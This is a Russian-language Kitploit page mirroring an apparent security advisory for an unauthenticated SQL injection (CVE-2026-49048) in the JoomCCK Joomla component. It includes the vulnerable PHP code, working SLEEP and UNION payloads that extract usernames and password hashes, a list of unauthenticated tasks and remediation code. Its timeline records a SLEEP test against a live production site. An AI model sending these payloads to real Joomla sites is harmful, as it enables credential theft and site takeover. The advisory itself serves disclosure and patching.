Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49048-JoomCCK-SQLi — CVE-2026-49048 — JoomCCK 6.4.0 Неаутентифицированная SQL-инъекция (CVSS 9.8) | Kitploit
Инструменты/GitHubGitHub/kara-git/cve-2026-49048-joomcck-sqli
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеБезопасность Баз Данных
GitHubkara-git/cve-2026-49048-joomcck-sqli

CVE-2026-49048-JoomCCK-SQLi

CVE-2026-49048 — JoomCCK 6.4.0 Неаутентифицированная SQL-инъекция (CVSS 9.8)

Репозиторий
1223 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-49048 — SQL-инъекция без аутентификации в JoomCCK 6.4.0 (CVSS 9.8)

CVE: CVE-2026-49048
Статус: Публичное раскрытие. Сообщено в Joomla Security Strike Team (JSST) — тикет #282420.


Сводка рекомендаций

ПолеЗначение
ID рекомендацииJOOMCCK-2026-001
CVECVE-2026-49048
ПродуктJoomCCK (com_joomcck) — Content Construction Kit для Joomla
ПроизводительJoomCoder — https://www.joomcoder.com
Затронутые версии6.4.0 (последняя на момент обнаружения; более ранние версии 6.x предположительно затронуты)
Исправленная версияОтсутствует на момент написания
ТипSQL-инъекция (CWE-89) через отсутствие авторизации (CWE-862)
Требуется аутентификацияНет — без аутентификации, до аутентификации
КритичностьКритическая — базовая оценка CVSS 3.1 — 9.8
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ОбнаруженоKamil Soltanov
Контакт[email protected]
Дата обнаружения2026-06-22

Сводка

Компонент Joomla 4/5/6 JoomCCK предоставляет задачу фронтенд-контроллера (task=tags.save), которая конкатенирует предоставляемый пользователем параметр tag напрямую в SQL без экранирования или параметризации. Собственный MVC-диспетчер компонента не выполняет ни проверку CSRF-токена, ни проверку контроля доступа, что делает инъекцию достижимой для полностью неаутентифицированного удалённого злоумышленника.

Успешная эксплуатация позволяет получить полный доступ на чтение к базе данных Joomla — включая хэши паролей из #__users — посредством UNION-based и time-based blind SQL-инъекций, что приводит к полной компрометации сайта.


Корневая причина — два дефекта, образующие цепочку

1. Отсутствие авторизации в собственном MVC-диспетчере (CWE-862)

libraries/mint/mvc/controller/base.php — MControllerBase::execute():

public function execute($task)
{
    $this->task = $task;
    $task = !is_null($task) ? strtolower($task) : '';
    $doTask = $this->taskMap[$task];
    ...
    return $this->$doTask();   // Invoked with no checkToken(), no authorise()
}

Метод authorise() в том же классе является пустой заглушкой (no-op), безусловно возвращающей true.
Точка входа components/com_joomcck/joomcck.php вызывает execute(input->get('task')) без какой-либо проверки входа, токена или ACL → любой публичный метод контроллера является задачей, доступной без аутентификации.

2. SQL-инъекция в tags.save (CWE-89)

components/com_joomcck/models/tags.php — _saveTag():

$tag = $app->input->getString('tag');   // Joomla 'STRING' filter: strips HTML but NOT SQL quotes

$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"';  // INJECTABLE
$exist_item = $this->_getList($query);

// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id;    // INJECTABLE

Фильтр ввода STRING в Joomla удаляет HTML-теги, но пропускает " без изменений — тот же символ, который здесь используется как разделитель строк SQL. Выход за пределы строкового литерала позволяет внедрить произвольный SQL.


Доказательство концепции

Слепая инъекция на основе времени (без предварительных знаний)

GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com

Ожидается: задержка ответа ≥ 5 секунд (для каждой совпавшей строки).

Эксфильтрация данных через UNION

GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com

Доказательства в локальной лаборатории

Полный код PoC и запись собранных доказательств находятся в poc/.

Ключевые результаты лабораторных испытаний:

Полезная нагрузка (tag=)Результат
cars (безвредная)Возвращена 1 строка — норма
zzz" OR "1"="1" не экранирован → возвращены все строки (инъекция подтверждена)
zzz" UNION SELECT id,username,password FROM jos_users-- -Хеш пароля администратора похищен
zzz" OR SLEEP(3)-- -Ответ задержан на 9,0 с (3 строки × 3 с)

Лабораторный стенд использует подлинный Joomla\Input\Input::getString() и дословный запрос _saveTag() к работающему экземпляру MariaDB 11.8.


Воздействие

Неаутентифицированный удалённый злоумышленник может:

  • Читать произвольные данные из базы данных Joomla (учётные данные, токены сессий, персональные данные) → полный захват административного доступа
  • Изменять строки в #__js_res_tags через инъектируемый UPDATE
  • Объединять с task=tags.delete и task=records.copy (также без аутентификации — тот же дефект диспетчера)

Вторичная находка — нарушение контроля доступа (CWE-862, CVSS ~6.5)

Тот же дефект диспетчера открывает доступ к дополнительным задачам без аутентификации:

ЗадачаЭффект
tags.deleteУдаление любого тега без аутентификации
records.copyДублирование любой записи без аутентификации
ajax.category_recordsПеречисление записей по категории
ajax.tags_listСписок всех тегов
ajax.users_filterПеречисление имён пользователей
ajax.loadfieldparamsРаскрытие конфигурации полей

Примечание: многие задачи records.* действительно применяют ACL внутри через _checkAccess() и не затронуты.


Устранение

1. Параметризуйте все запросы (построитель запросов Joomla):

$db  = $this->getDatabase();
$tag = $app->input->getString('tag');

// SELECT
$query = $db->getQuery(true)
    ->select('a.*')
    ->from($db->quoteName('#__js_res_tags', 'a'))
    ->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));

// UPDATE
$upd = $db->getQuery(true)
    ->update($db->quoteName('#__js_res_tags'))
    ->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
    ->where($db->quoteName('id') . ' = ' . (int) $id);

2. Обеспечить проверку авторизации в диспетчере — добавить Session::checkToken() и проверку ACL (Factory::getApplication()->getIdentity()->authorise(...)) перед всеми задачами, изменяющими состояние, по аналогии с защитой, уже присутствующей в files.upload.


Хронология раскрытия

ДатаСобытие
2026-06-22Уязвимость обнаружена и подтверждена с помощью PoC в локальной лаборатории
2026-06-22Подготовлено уведомление; передано в Joomla Security Strike Team (JSST) и VEL
2026-06-23JSST подтвердил получение — David Jardin, тикет #282420. Координация с вендором (JoomCoder) через JSST
2026-06-25Подтверждение эксплуатации в реальных условиях на рабочем сайте Joomla: SLEEP(5) → ответ за 115 с; ошибка MySQL 1222 при UNION (неразрушающая, данные не похищены)
TBDПатч от вендора
TBDПрисвоение CVE
TBDПубличное раскрытие (90-дневное окно скоординированного раскрытия)

Ссылки

  • Вендор: https://www.joomcoder.com
  • Joomla VEL (Vulnerable Extensions List): https://vel.joomla.org
  • Joomla JSST: [email protected]
  • CWE-89: SQL-инъекция
  • CWE-862: Отсутствие авторизации

Об исследователе

Независимый исследователь безопасности.
Контакт: [email protected]

Скачать инструмент